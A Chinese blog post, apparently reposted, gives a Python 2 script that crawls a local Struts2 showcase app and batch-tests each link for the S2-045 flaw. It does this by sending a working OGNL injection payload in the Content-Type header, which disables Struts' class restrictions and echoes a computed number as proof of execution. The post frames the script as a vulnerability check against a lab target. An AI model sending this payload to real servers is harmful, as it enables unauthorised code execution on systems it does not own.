【Python】struts2-045批量检测

0x00   环境

存在struts2-045漏洞的war包

apache-tomcat

0x01   脚本

#coding:utf-8

import re
import urllib
import urllib2
import linecache

url="http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml"
resp=urllib.urlopen(url).read()
data=re.compile(r'href=.+\"\s').findall(resp)
#读取网页中链接
for i in data:
    link='http://127.0.0.1:8080/struts2-rest-showcase/'+i.split('\"')[1]
    # with open('url.txt','a') as fw:
        # fw.write(link+'\n')
    payload="%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    ua_headers={"user-agent":"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36","Content-Type":payload}
    try:
        req=urllib2.Request(link,headers=ua_headers)
        response=urllib2.urlopen(req).read()
        if '105059592' in response:
            print '存在struts2-045漏洞'+':'+'\t'+link
    except Exception,e:
        print e

我这里简单抓了一下网站的链接,然后批量检测,结果如下图:

 

转载于:https://www.cnblogs.com/peterpan0707007/p/8734415.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值